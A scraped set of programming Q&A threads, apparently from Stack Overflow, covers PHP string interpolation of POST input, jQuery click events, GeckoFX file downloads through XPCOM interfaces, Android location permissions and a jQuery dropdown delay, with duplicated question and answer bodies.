  $ab_apnd = $_POST['abc'] . ' missing*';
  echo $ab_apnd;
?>
</code>```

Body:
I don't know if this is good place to ask such a questions, but I want to understand how PHP variables work. As we all know that we can add a variable to another variable like this:

$abc = "Some Text"
$ab_apnd = "{$abc} missing*";
echo $ab_apnd;

Then this will show output like:

Some Text missing*

But the question here is when I pass the same text over $_POST it doesn't work.

# $_POST['abc'] = "{$abc}" // through a form not from php code //
$abc = "Some Text";
$ab_apnd = $_POST['abc'] . " missing*";
echo $ab_apnd;

Now this will show an output like this:

{abc} missing*;

I will be thankful if you teach me why this happens! Thank you.

Body:
why make this so complicated:

<?php
  $_POST['abc']= "some text";
  $ab_apnd = $_POST['abc'] . ' missing*';
  echo $ab_apnd;
?>


问:
How can I manipulate this object in jQuery
```<code>jQuery(function () {
    $('#square a').click(function(e) {
    // How is the e object structured
    });
})
</code>```

I have a div with an id of square and links in that. When the links are clicked they trigger a game loop function. I need to know which id the click is coming from. There are five links within the square and each one has an id. Is there a better way to track this. Or should I have a function for each link with its own id but this doesn't seem DRY to me.

答:
A good way to quickly check things like this is with the console of Firefox (Firebug), Chrome and Safari (I believe that Opera has something similar as well.):

If you run the following code on any web page with jQuery on it via the console of Firebug:

```<code>jQuery("body").click(function(e) { console.dir(e); });
</code>```

You will see the following:

T. J. has provided another excellent source as well (the jQuery API docs.)

Body:
jQuery(function () {
    $('#square a').click(function(e) {
    // How is the e object structured
    });
})

I have a div with an id of square and links in that. When the links are clicked they trigger a game loop function. I need to know which id the click is coming from. There are five links within the square and each one has an id. Is there a better way to track this. Or should I have a function for each link with its own id but this doesn't seem DRY to me.

Body:
A good way to quickly check things like this is with the console of Firefox (Firebug), Chrome and Safari (I believe that Opera has something similar as well.):

If you run the following code on any web page with jQuery on it via the console of Firebug:

jQuery("body").click(function(e) { console.dir(e); });

You will see the following:

T. J. has provided another excellent source as well (the jQuery API docs.)


问:
GeckoFX file download
I have some issues with GeckoFX file download.

I tried the LauncherDialog method described in a few locations such as How to handle downloading in GeckoFX 29, and a WebRequest / Webclient method.

Both method work, but they do two requests to the server. The first one will trigger the LauncherDialog.Download event, and the LauncherDialog will make a new request to get the actual file.

I use GeckoFX in a custom web client for a customer, and in this particular case, this download request requires several seconds of processing on server side and modifies the data state. The second request is delayed and the returned data isn't the same as for the first request.

Also, this particular application doesn't need a download progress window of any sorts.

Is there any way to get the data stream from the initial request? Modifying GeckoFx-Winforms is not a problem. I would prefer avoiding any modification to GeckoFX-Core, but I'll do it if required.

答:
Well, I revisited my wrong assumptions about XPCOM programming, took a look at selected locations in Firefox/Gecko source code and found one solution. Which could be very obvious for someone with some XPCOM/XUL programming experience, but was not initially for me. So I guess sharing my solution could help a few people.

In my case, the LauncherDialog method is definitely not the way to go.

Instead, I implemented the nsIFactory, nsIExternalHelperAppService and nsIStreamListener interfaces.

nsiStreamListener

```<code>internal class MyStreamListener : nsIStreamListener
{
    public MyStreamListener(/*...*/) { }
    public void OnStartRequest(nsIRequest aRequest, nsISupports aContext)
    {
        // This will get called once, when the download "begins".
        // You can initialize your things here.
    }

    public void OnStopRequest(nsIRequest aRequest, nsISupports aContext, int aStatusCode)
    {
        // This will also get called once, when the download is
        // complete or interrupted. You can perform the post-download
        // actions here.

        if (aStatusCode != GeckoError.NS_OK) {
            // download interrupted
        }
        else {
            // download completed
        }
    }

    public void OnDataAvailable(nsIRequest aRequest, nsISupports aContext, nsIInputStream aInputStream, ulong aOffset, uint aCount)
    {
        // This gets called several times with small chunks of data.
        // Do what you need with the stream. In my case, I read it
        // in a small buffer, which then gets written to an output
        // filestream (not shown).
        // The aOffset parameter is the sum of all previously received data.

        var lInput = InputStream.Create(aInputStream);
        byte[] lBuffer = new byte[aCount];
        lInput.Read(lBuffer, 0, (int)aCount);

    }
}
</code>```

nsIExternalHelperAppService

```<code>public class MyExternalHelperAppService : nsIExternalHelperAppService
{
     public MyExternalHelperAppService(/* ... */)
     {
        /* ... */
     }

     public nsIStreamListener DoContent(nsACStringBase aMimeContentType, nsIRequest aRequest, nsIInterfaceRequestor aWindowContext, bool aForceSave)
     {
         var request = Request.CreateRequest(aRequest);
         var lChannel = request as HttpChannel;
         try {
             if (lChannel != null) {
                 var uri = lChannel.OriginalUri;
                 var contentType = lChannel.ContentType;
                 var contentLength = lChannel.ContentLength;
                 var dispositionFilename = lChannel.ContentDispositionFilename;

                 // Do your contenttype validation, keeping only what you need.
                 // Make sure you clean dispositionFilename before using it.

                 // If you don't want to do anything with that file, you can return null;

                 return new MyStreamListener(/* ... */);
            }
        }
        catch (COMException) {
            /* ... */
        }
        return null;
    }
}
</code>```

nsIFactory (you can also overload GenericOneClassNsFactory<TFactory,TType>):

```<code>public IntPtr CreateInstance(nsISupports aOuter, ref Guid iid)
{
    // This is called when the content dispatcher gets a DISPOSITION_ATTACHMENT
    // on the channel, or when it doesn't have any builtin handler
    // for the content type. It needs an external helper to handle
    // the content, so it creates one and calls DoContent on it.

    MyExternalHelperAppService _myExternalHelperAppService = new MyExternalHelperAppService(...);
    IntPtr result;
    IntPtr iUnknownForObject = Marshal.GetIUnknownForObject(_myExternalHelperAppService);
    Marshal.QueryInterface(iUnknownForObject, ref iid, out result);
    Marshal.Release(iUnknownForObject);
    return result;
}

public void LockFactory(bool @lock) {
    // do nothing here, it's not used, only kept for backwards compatibility.
}
</code>```

Then, somewhere in my initialization code, I registered my nsIFactory with the proper contract:

```<code>Xpcom.RegisterFactory(typeof(MyExternalHelperAppService).GUID,
    "MyExternalHelperAppService",
    "@mozilla.org/uriloader/external-helper-app-service;1",
    new MyNsFactory());
</code>```

And that's all.

Title: GeckoFX file download

Body:
Well, I revisited my wrong assumptions about XPCOM programming, took a look at selected locations in Firefox/Gecko source code and found one solution. Which could be very obvious for someone with some XPCOM/XUL programming experience, but was not initially for me. So I guess sharing my solution could help a few people.

In my case, the LauncherDialog method is definitely not the way to go.

Instead, I implemented the nsIFactory, nsIExternalHelperAppService and nsIStreamListener interfaces.

nsiStreamListener

internal class MyStreamListener : nsIStreamListener
{
    public MyStreamListener(/*...*/) { }
    public void OnStartRequest(nsIRequest aRequest, nsISupports aContext)
    {
        // This will get called once, when the download "begins".
        // You can initialize your things here.
    }

    public void OnStopRequest(nsIRequest aRequest, nsISupports aContext, int aStatusCode)
    {
        // This will also get called once, when the download is
        // complete or interrupted. You can perform the post-download
        // actions here.

        if (aStatusCode != GeckoError.NS_OK) {
            // download interrupted
        }
        else {
            // download completed
        }
    }

    public void OnDataAvailable(nsIRequest aRequest, nsISupports aContext, nsIInputStream aInputStream, ulong aOffset, uint aCount)
    {
        // This gets called several times with small chunks of data.
        // Do what you need with the stream. In my case, I read it
        // in a small buffer, which then gets written to an output
        // filestream (not shown).
        // The aOffset parameter is the sum of all previously received data.

        var lInput = InputStream.Create(aInputStream);
        byte[] lBuffer = new byte[aCount];
        lInput.Read(lBuffer, 0, (int)aCount);

    }
}

nsIExternalHelperAppService

public class MyExternalHelperAppService : nsIExternalHelperAppService
{
     public MyExternalHelperAppService(/* ... */)
     {
        /* ... */
     }

     public nsIStreamListener DoContent(nsACStringBase aMimeContentType, nsIRequest aRequest, nsIInterfaceRequestor aWindowContext, bool aForceSave)
     {
         var request = Request.CreateRequest(aRequest);
         var lChannel = request as HttpChannel;
         try {
             if (lChannel != null) {
                 var uri = lChannel.OriginalUri;
                 var contentType = lChannel.ContentType;
                 var contentLength = lChannel.ContentLength;
                 var dispositionFilename = lChannel.ContentDispositionFilename;

                 // Do your contenttype validation, keeping only what you need.
                 // Make sure you clean dispositionFilename before using it.

                 // If you don't want to do anything with that file, you can return null;

                 return new MyStreamListener(/* ... */);
            }
        }
        catch (COMException) {
            /* ... */
        }
        return null;
    }
}

nsIFactory (you can also overload GenericOneClassNsFactory<TFactory,TType>):

public IntPtr CreateInstance(nsISupports aOuter, ref Guid iid)
{
    // This is called when the content dispatcher gets a DISPOSITION_ATTACHMENT
    // on the channel, or when it doesn't have any builtin handler
    // for the content type. It needs an external helper to handle
    // the content, so it creates one and calls DoContent on it.

    MyExternalHelperAppService _myExternalHelperAppService = new MyExternalHelperAppService(...);
    IntPtr result;
    IntPtr iUnknownForObject = Marshal.GetIUnknownForObject(_myExternalHelperAppService);
    Marshal.QueryInterface(iUnknownForObject, ref iid, out result);
    Marshal.Release(iUnknownForObject);
    return result;
}

public void LockFactory(bool @lock) {
    // do nothing here, it's not used, only kept for backwards compatibility.
}

Then, somewhere in my initialization code, I registered my nsIFactory with the proper contract:

Xpcom.RegisterFactory(typeof(MyExternalHelperAppService).GUID,
    "MyExternalHelperAppService",
    "@mozilla.org/uriloader/external-helper-app-service;1",
    new MyNsFactory());

And that's all.


问:
Location Permission on Android 5.1.1
In my app I need for location of users.

I realize that I must ask for permission, but how I can do this on Android 5.1.1 where user cannot change permission. I wrote the code that is everywhere but without result.

How must I proceed?

import android.content.pm.PackageManager;
import android.location.Location;
import android.support.v4.app.ActivityCompat;
import android.support.v4.app.FragmentActivity;
import android.os.Bundle;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.Manifest;

//import com.google.android.gms.common.GooglePlayServicesClient;
import com.google.android.gms.maps.CameraUpdate;
import com.google.android.gms.maps.CameraUpdateFactory;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.OnMapReadyCallback;
import com.google.android.gms.maps.SupportMapFragment;
import com.google.android.gms.maps.model.*;
//import com.google.android.gms.maps.model.LatLng;
//import com.google.android.gms.maps.model.MarkerOptions;
import com.google.android.gms.common.ConnectionResult;
import com.google.android.gms.common.api.GoogleApiClient;
import com.google.android.gms.location.LocationServices;
//import com.google.android.gms.common.api.*;

public class MapsActivity extends FragmentActivity implements OnMapReadyCallback
, GoogleApiClient.ConnectionCallbacks
        //, OnConnectionFailedListener

{

    private GoogleMap mMap;
   // public GoogleApiClient.Builder mGoogleApiClient = new GoogleApiClient.Builder(this);
   private GoogleApiClient mGoogleApiClient;
    public static final int MY_PERMISSIONS_REQUEST_LOCATION = 99;

    public double latitude;
    public double longitude;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_maps);
        // Obtain the SupportMapFragment and get notified when the map is ready to be used.
        SupportMapFragment mapFragment = (SupportMapFragment) getSupportFragmentManager()
                .findFragmentById(R.id.map);
        mapFragment.getMapAsync(this);
        //mMainActivity.onConnected(bBundle);

        Log.d("OnCreate", "enter 1");
        mGoogleApiClient = new GoogleApiClient.Builder(this)
                //.enableAutoManage(this /* FragmentActivity */,
                //       this /* OnConnectionFailedListener */)
                .addConnectionCallbacks(this)
                .addApi(LocationServices.API)
                // .addApi(Places.GEO_DATA_API)
                //.addApi(Places.PLACE_DETECTION_API)
                .build()
        ;
        mGoogleApiClient.connect();

        if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
                != PackageManager.PERMISSION_GRANTED) {
            Log.d("OnCreate", "enter in if1 ");

            if (ActivityCompat.shouldShowRequestPermissionRationale(this,
                    Manifest.permission.ACCESS_FINE_LOCATION)) {
                Log.d("OnCreate", "enter in if2 ");

            } else {
                Log.d("OnCreate", "enter in else2 Request permission ");
                // No explanation needed, we can request the permission.

                ActivityCompat.requestPermissions(this,
                        new String[]{android.Manifest.permission.ACCESS_FINE_LOCATION},
                        MY_PERMISSIONS_REQUEST_LOCATION);

                // MY_PERMISSIONS_REQUEST_READ_CONTACTS is an
                // app-defined int constant. The callback method gets the
                // result of the request.
            }
        } else {
            //Request location updates: Popytka
            //locationManager.requestLocationUpdates(provider, 400, 1, this);
            Location mLastLocation = LocationServices.FusedLocationApi.getLastLocation(mGoogleApiClient);
            Log.d("OnCreate", "enter mLastLocation " + String.valueOf(mLastLocation));
            if (mLastLocation != null) {
                Log.d("OnCreate", "enter2");
                latitude = mLastLocation.getLatitude();
                longitude = mLastLocation.getLongitude();
                Log.d("OnCreate longitude", String.valueOf(longitude));
            }
        }
    }
    //public MainActivity mMainActivity = new MainActivity();
    Bundle bBundle;

    @Override
    public void onRequestPermissionsResult(int requestCode,
                                           String permissions[], int[] grantResults) {
        switch (requestCode) {
            case MY_PERMISSIONS_REQUEST_LOCATION: {
                // If request is cancelled, the result arrays are empty.
                if (grantResults.length > 0
                        && grantResults[0] == PackageManager.PERMISSION_GRANTED) {

                    // permission was granted, yay! Do the
                    // location-related task you need to do.
                    if (ContextCompat.checkSelfPermission(this,
                            android.Manifest.permission.ACCESS_FINE_LOCATION)
                            == PackageManager.PERMISSION_GRANTED) {

                        //Request location updates:
                        //locationManager.requestLocationUpdates(provider, 400, 1, this);
                        Location mLastLocation = LocationServices.FusedLocationApi.getLastLocation(mGoogleApiClient);
                        Log.d("OnCreate", "enter mLastLocation " + String.valueOf(mLastLocation));

                        if (mLastLocation != null) {
                            Log.d("OnCreate","enter20");
                            latitude = mLastLocation.getLatitude();
                            longitude = mLastLocation.getLongitude();
                            Log.d("OnCreate longitude-0", String.valueOf(longitude));
                        }
                    }

                } else {

                    // permission denied, boo! Disable the
                    // functionality that depends on this permission.

                }
                return;
            }

        }
    }

    @Override
    public void onMapReady(GoogleMap googleMap) {

        //System.out.println("onMapReady in");
        mMap = googleMap;
        //latitude = -34;
        //longitude = 151;
        float zoom = 5;
        double laRe = latitude, loRe = longitude+1;
        // Add a marker in Sydney and move the camera
        LatLng user = new LatLng(latitude, longitude), rest = new LatLng(laRe, loRe);
        //LatLng rest = new LatLng(laRe, loRe);

        mMap.addMarker(new MarkerOptions().position(user).title("Marker in USER"));
        mMap.moveCamera(CameraUpdateFactory.newLatLngZoom(user, zoom));

        mMap.addCircle(new CircleOptions()
                .center(user)
                .radius(200000)
                .strokeColor(0)
                .fillColor(0x4000ff00));

        GroundOverlayOptions restPos = new GroundOverlayOptions()
                .image(BitmapDescriptorFactory.fromResource(R.mipmap.ic_launcher))
                .position(new LatLng(laRe, loRe), 200000f);
        mMap.addGroundOverlay(restPos);
    }

        @Override
        public void onConnected (Bundle bBundle){

        }

    protected void onStart() {
        //mGoogleApiClient.connect();
        super.onStart();
        //mGoogleApiClient.ConnectionCallbacks; //(this);
    }

    protected void onStop() {
        // mGoogleApiClient.disconnect();
        super.onStop();
    }

    public void onConnectionSuspended(int i) {

    }

    //@Override
    public void onConnectionFailed(ConnectionResult connectionResult) {

    }

}```
<pre class="snippet-code-css lang-css prettyprint-override"><code><uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/AppTheme" >

        <!--
             The API key for Google Maps-based APIs is defined as a string resource.
             (See the file "res/values/google_maps_api.xml").
             Note that the API key is linked to the encryption key used to sign the APK.
             You need a different API key for each encryption key, including the release key that is used to
             sign the APK for publishing.
             You can define the keys for the debug and release targets in src/debug/ and src/release/.
        -->
        <meta-data
            android:name="com.google.android.geo.API_KEY"
            android:value="@string/google_maps_key" />

        <activity
            android:name=".MapsActivity"
            android:label="@string/title_activity_maps" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest></code>```

SDK 25

答:
Runtime permission is required for Android 6.0+ but if you need here's the easiest code for requesting runtime permissions.

```<code> String [] permissions=new String[]{
                    Manifest.permission.READ_EXTERNAL_STORAGE,
                    Manifest.permission.WRITE_EXTERNAL_STORAGE,
                    Manifest.permission.ACCESS_FINE_LOCATION
            };
            List<String> listPermissionsNeeded = new ArrayList<>();
            for (String permission:permissions) {
                if (ContextCompat.checkSelfPermission(this,permission )!= PackageManager.PERMISSION_GRANTED){
                    listPermissionsNeeded.add(permission);
                }
            }
            if (!listPermissionsNeeded.isEmpty()) {
                ActivityCompat.requestPermissions(this, listPermissionsNeeded.toArray(new String[listPermissionsNeeded.size()]), 1);
            }
</code>```

UPDATE

Try this ->

First, create a LocationRequest object:

```<code> // Create the LocationRequest object
 mLocationRequest = LocationRequest.create()
    .setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY)
    .setInterval(10 * 1000)        // 10 seconds, in milliseconds
    .setFastestInterval(1 * 1000); // 1 second, in milliseconds
</code>```

Then, make sure the user has granted permission to use location. If so, get the location from requestLocationUpdates as follows:

```<code>void getLocation() {
    Location location = null;
    if (ContextCompat.checkSelfPermission(activity, android.Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
        ActivityCompat.requestPermissions(activity, new String[]{Manifest.permission.ACCESS_COARSE_LOCATION}, 1);

        /*TODO!! INSERT CODE TO PROMPT USER TO GIVE PERMISSION*/

    } else {
        LocationServices.FusedLocationApi.requestLocationUpdates(mGoogleApiClient, mLocationRequest, this);
    }

    mLastLocation = location;
    LocationServices.FusedLocationApi.removeLocationUpdates(mGoogleApiClient,this);
}
</code>```

Be sure to remove the updates if you only need one location without constant monitoring. This way, you will never get a null Location.

Title: Location Permission on Android 5.1.1

Body:
In my app I need for location of users.

I realize that I must ask for permission, but how I can do this on Android 5.1.1 where user cannot change permission. I wrote the code that is everywhere but without result.

How must I proceed?

import android.content.pm.PackageManager;
import android.location.Location;
import android.support.v4.app.ActivityCompat;
import android.support.v4.app.FragmentActivity;
import android.os.Bundle;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.util.Log;
import android.Manifest;

//import com.google.android.gms.common.GooglePlayServicesClient;
import com.google.android.gms.maps.CameraUpdate;
import com.google.android.gms.maps.CameraUpdateFactory;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.OnMapReadyCallback;
import com.google.android.gms.maps.SupportMapFragment;
import com.google.android.gms.maps.model.*;
//import com.google.android.gms.maps.model.LatLng;
//import com.google.android.gms.maps.model.MarkerOptions;
import com.google.android.gms.common.ConnectionResult;
import com.google.android.gms.common.api.GoogleApiClient;
import com.google.android.gms.location.LocationServices;
//import com.google.android.gms.common.api.*;

public class MapsActivity extends FragmentActivity implements OnMapReadyCallback
, GoogleApiClient.ConnectionCallbacks
        //, OnConnectionFailedListener

{

    private GoogleMap mMap;
   // public GoogleApiClient.Builder mGoogleApiClient = new GoogleApiClient.Builder(this);
   private GoogleApiClient mGoogleApiClient;
    public static final int MY_PERMISSIONS_REQUEST_LOCATION = 99;

    public double latitude;
    public double longitude;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_maps);
        // Obtain the SupportMapFragment and get notified when the map is ready to be used.
        SupportMapFragment mapFragment = (SupportMapFragment) getSupportFragmentManager()
                .findFragmentById(R.id.map);
        mapFragment.getMapAsync(this);
        //mMainActivity.onConnected(bBundle);

        Log.d("OnCreate", "enter 1");
        mGoogleApiClient = new GoogleApiClient.Builder(this)
                //.enableAutoManage(this /* FragmentActivity */,
                //       this /* OnConnectionFailedListener */)
                .addConnectionCallbacks(this)
                .addApi(LocationServices.API)
                // .addApi(Places.GEO_DATA_API)
                //.addApi(Places.PLACE_DETECTION_API)
                .build()
        ;
        mGoogleApiClient.connect();

        if (ContextCompat.checkSelfPermission(this, Manifest.permission.ACCESS_FINE_LOCATION)
                != PackageManager.PERMISSION_GRANTED) {
            Log.d("OnCreate", "enter in if1 ");

            if (ActivityCompat.shouldShowRequestPermissionRationale(this,
                    Manifest.permission.ACCESS_FINE_LOCATION)) {
                Log.d("OnCreate", "enter in if2 ");

            } else {
                Log.d("OnCreate", "enter in else2 Request permission ");
                // No explanation needed, we can request the permission.

                ActivityCompat.requestPermissions(this,
                        new String[]{android.Manifest.permission.ACCESS_FINE_LOCATION},
                        MY_PERMISSIONS_REQUEST_LOCATION);

                // MY_PERMISSIONS_REQUEST_READ_CONTACTS is an
                // app-defined int constant. The callback method gets the
                // result of the request.
            }
        } else {
            //Request location updates: Popytka
            //locationManager.requestLocationUpdates(provider, 400, 1, this);
            Location mLastLocation = LocationServices.FusedLocationApi.getLastLocation(mGoogleApiClient);
            Log.d("OnCreate", "enter mLastLocation " + String.valueOf(mLastLocation));
            if (mLastLocation != null) {
                Log.d("OnCreate", "enter2");
                latitude = mLastLocation.getLatitude();
                longitude = mLastLocation.getLongitude();
                Log.d("OnCreate longitude", String.valueOf(longitude));
            }
        }
    }
    //public MainActivity mMainActivity = new MainActivity();
    Bundle bBundle;

    @Override
    public void onRequestPermissionsResult(int requestCode,
                                           String permissions[], int[] grantResults) {
        switch (requestCode) {
            case MY_PERMISSIONS_REQUEST_LOCATION: {
                // If request is cancelled, the result arrays are empty.
                if (grantResults.length > 0
                        && grantResults[0] == PackageManager.PERMISSION_GRANTED) {

                    // permission was granted, yay! Do the
                    // location-related task you need to do.
                    if (ContextCompat.checkSelfPermission(this,
                            android.Manifest.permission.ACCESS_FINE_LOCATION)
                            == PackageManager.PERMISSION_GRANTED) {

                        //Request location updates:
                        //locationManager.requestLocationUpdates(provider, 400, 1, this);
                        Location mLastLocation = LocationServices.FusedLocationApi.getLastLocation(mGoogleApiClient);
                        Log.d("OnCreate", "enter mLastLocation " + String.valueOf(mLastLocation));

                        if (mLastLocation != null) {
                            Log.d("OnCreate","enter20");
                            latitude = mLastLocation.getLatitude();
                            longitude = mLastLocation.getLongitude();
                            Log.d("OnCreate longitude-0", String.valueOf(longitude));
                        }
                    }

                } else {

                    // permission denied, boo! Disable the
                    // functionality that depends on this permission.

                }
                return;
            }

        }
    }

    @Override
    public void onMapReady(GoogleMap googleMap) {

        //System.out.println("onMapReady in");
        mMap = googleMap;
        //latitude = -34;
        //longitude = 151;
        float zoom = 5;
        double laRe = latitude, loRe = longitude+1;
        // Add a marker in Sydney and move the camera
        LatLng user = new LatLng(latitude, longitude), rest = new LatLng(laRe, loRe);
        //LatLng rest = new LatLng(laRe, loRe);

        mMap.addMarker(new MarkerOptions().position(user).title("Marker in USER"));
        mMap.moveCamera(CameraUpdateFactory.newLatLngZoom(user, zoom));

        mMap.addCircle(new CircleOptions()
                .center(user)
                .radius(200000)
                .strokeColor(0)
                .fillColor(0x4000ff00));

        GroundOverlayOptions restPos = new GroundOverlayOptions()
                .image(BitmapDescriptorFactory.fromResource(R.mipmap.ic_launcher))
                .position(new LatLng(laRe, loRe), 200000f);
        mMap.addGroundOverlay(restPos);
    }

        @Override
        public void onConnected (Bundle bBundle){

        }

    protected void onStart() {
        //mGoogleApiClient.connect();
        super.onStart();
        //mGoogleApiClient.ConnectionCallbacks; //(this);
    }

    protected void onStop() {
        // mGoogleApiClient.disconnect();
        super.onStop();
    }

    public void onConnectionSuspended(int i) {

    }

    //@Override
    public void onConnectionFailed(ConnectionResult connectionResult) {

    }

}

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="@string/app_name"
        android:roundIcon="@mipmap/ic_launcher_round"
        android:supportsRtl="true"
        android:theme="@style/AppTheme" >

        <meta-data
            android:name="com.google.android.geo.API_KEY"
            android:value="@string/google_maps_key" />

        <activity
            android:name=".MapsActivity"
            android:label="@string/title_activity_maps" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

SDK 25

Body:
Runtime permission is required for Android 6.0+ but if you need here's the easiest code for requesting runtime permissions.

 String [] permissions=new String[]{
                    Manifest.permission.READ_EXTERNAL_STORAGE,
                    Manifest.permission.WRITE_EXTERNAL_STORAGE,
                    Manifest.permission.ACCESS_FINE_LOCATION
            };
            List<String> listPermissionsNeeded = new ArrayList<>();
            for (String permission:permissions) {
                if (ContextCompat.checkSelfPermission(this,permission )!= PackageManager.PERMISSION_GRANTED){
                    listPermissionsNeeded.add(permission);
                }
            }
            if (!listPermissionsNeeded.isEmpty()) {
                ActivityCompat.requestPermissions(this, listPermissionsNeeded.toArray(new String[listPermissionsNeeded.size()]), 1);
            }

UPDATE

Try this ->

First, create a LocationRequest object:

 // Create the LocationRequest object
 mLocationRequest = LocationRequest.create()
    .setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY)
    .setInterval(10 * 1000)        // 10 seconds, in milliseconds
    .setFastestInterval(1 * 1000); // 1 second, in milliseconds

Then, make sure the user has granted permission to use location. If so, get the location from requestLocationUpdates as follows:

void getLocation() {
    Location location = null;
    if (ContextCompat.checkSelfPermission(activity, android.Manifest.permission.ACCESS_COARSE_LOCATION) != PackageManager.PERMISSION_GRANTED) {
        ActivityCompat.requestPermissions(activity, new String[]{Manifest.permission.ACCESS_COARSE_LOCATION}, 1);

        /*TODO!! INSERT CODE TO PROMPT USER TO GIVE PERMISSION*/

    } else {
        LocationServices.FusedLocationApi.requestLocationUpdates(mGoogleApiClient, mLocationRequest, this);
    }

    mLastLocation = location;
    LocationServices.FusedLocationApi.removeLocationUpdates(mGoogleApiClient,this);
}

Be sure to remove the updates if you only need one location without constant monitoring. This way, you will never get a null Location.


答:
$(document).ready(setTimeout(function(){}, 3000)) does not delay .slideDown() call at each event dispatched by .hover(); rather, delays  call of function passed to setTimeout() at .ready() call for 3000.

You can use .delay(). Also call .clearQueue() chained to $(this).children('.dropdown-content') at function passed to second parameter of .hover() to clear the element queue of .slideDown() call at first parameter.

$(document).ready(function() {
  $('.dropdown').hover(
    function() {
      $(this).children('.dropdown-content')
        .delay(1000) // set duration of delay in milliseconds here
        .slideDown(200);
    },
    function() {
      $(this).children('.dropdown-content')
      .clearQueue()
      .slideUp(0);
    })
});```
<pre class="snippet-code-css lang-css prettyprint-override"><code>/*NAVIGATION SECTION*/

nav {
  margin: 0px;
}

/*Sets the nav bar in a horizontal manner. Hides the pointers for the list and ensures there's no scroll bar*/

nav ul {
  display: flex;
  flex-direction: row;
  margin: 0;
  padding: 0;
  list-style-type: none;
  overflow: hidden;
  border-top: 1px solid #670000;
}

/*Styles each of the individual items in the nav bar list. Adds color and changes their font. Adds a border at the end*/

nav ul li {
  flex-grow: 1;
  font-family: Constantia, "Lucida Bright", Lucidabright, "Lucida Serif", Lucida, "DejaVu Serif", "Bitstream Vera Serif", "Liberation Serif", Georgia, serif;
  font-size: 15px;
  font-weight: bolder;
  padding: 0;
}

/*Determines how the links inside the navbar will be displayed.Gives them a background color*/

nav ul li a {
  display: block;
  background: #800000;
  height: 40px;
  text-align: center;
  padding: 7px 10px;
  text-transform: uppercase;
  -webkit-transition: 0.45s;
  transition: 0.45s;
}

/*Shows how unvisited links will look*/

nav ul li a:link {
  text-decoration: none;
  color: whitesmoke;
}

/*Changes the color inside visited links*/

nav ul li a:visited {
  color: whitesmoke;
  margin-left: 60px;
  height: 40px;
}

/*Determines what happens when you hover a link*/

nav ul li a:hover {
  color: black;
  background-color: white;
}

/*Shows what happens a link is active (page you are currently on)*/

nav ul li a.active {
  background-color: indianred;
  color: white;
}

/*Styles what happens when you hover an active link on an active page*/

nav ul li a.active:hover {
  background-color: #990000;
  color: white;
}

/*Dropdown stuff*/

.dropdown-content {
  display: none;
  position: absolute;
  color: black;
  min-width: 160px;
  border-bottom: 0.5px solid deepskyblue;
  box-shadow: 0px 8px 16px 0px rgba(0, 0, 0, 0.2);
  z-index: 1;
}

.subsubmenu {
  display: none;
  position: absolute;
  left: 223px;
  top: 25%;
  color: black;
  min-width: 160px;
  box-shadow: 0px 8px 16px 0px rgba(0, 0, 0, 0.2);
  z-index: 1;
}

ul li .dropdown-content a:link {
  text-decoration: none;
  color: whitesmoke;
}

ul li .subsubmenu a:link {
  text-decoration: none;
  color: black;
}

/*Changes the color inside visited links*/

ul li .dropdown-content a:visited {
  color: whitesmoke;
  margin-left: 60px;
  height: 40px;
}

ul li .subsubmenu a:visited {
  color: black;
  margin-left: 60px;
  height: 40px;
}

.dropdown-content a {
  padding: 12px 16px;
  text-decoration: none;
  display: block;
  text-align: left;
  font-size: 12px;
  background-color: black;
}

.subsubmenu a {
  padding: 12px 16px;
  text-decoration: none;
  display: block;
  text-align: left;
  font-size: 12px;
  background-color: #f9f9f9;
}

.dropdown-content a:hover {
  background-color: #990000;
}

.subsubmenu a:hover {
  background-color: #990000;
}

/*
.dropdown:hover .dropdown-content {
    display: block;
    color: whitesmoke;
} */

.subdropdown:hover .subsubmenu {
  display: block;
  color: whitesmoke;
}</code>```

 Home

    About

      Background And History
      Vision And Mission
      Message From the Principal
      Message from the Director
      Governance

    Fees

      Primary Fees
      Secondary Fees
      Admission forms
      Fee Policy

    Academics

      Primary Curriculum
      Lower Secondary Curriculum
      Upper Secondary Curriculum
      Library and ICT Labs
      Staff

     School&nbspLife

      Boarding School

        Extra Curricular Activities

          Sports
          Clubs
          Entertainment

        Students

          Governance
          Code of Conduct
          Alumni

      Field Trips

     Events

     News

      Notices for Parents
      Jobs

     Gallery

      Sports
      Entertainment
      Facilities

     Contact

      FAQ

```

Title: Attempting to add a delay to a Jquery dropdown for a navigation menu

Body:
I am attempting to add a delay to this Jquery dropdown. I have tried to use the setTimeout function but this doesn't appear to be working.

I don't know why this isn't working as the delay doesn't happen when I hover over the menu and the submenu drops down immediately. How can I get this to work?

Edit: I'll have to clarify specifically what i want to do. I have a Menu with some submenus. When I hover over the Menu Item, for example 'About', I want a brief delay of 3 seconds before the submenu slides out. Currently, It slides out immediately and this creates an unwanted effect when I quickly move from one Menu item to another. For example, if I move from About to Fees, it shows both submenus at the same time.  Basically this is what is happening when I scroll over the menu Items very quickly

https://i.imgur.com/Nv554m9.png

I'm new to Jquery and Javascript and web programming in general, so although I've gone through several similar questions on StackOverFlow, they don't seem to solve my problem. Any assistance will be appreciated.

EDIT:

This is the HTML of the Menu

 Home

        About

            Background And History
            Vision And Mission
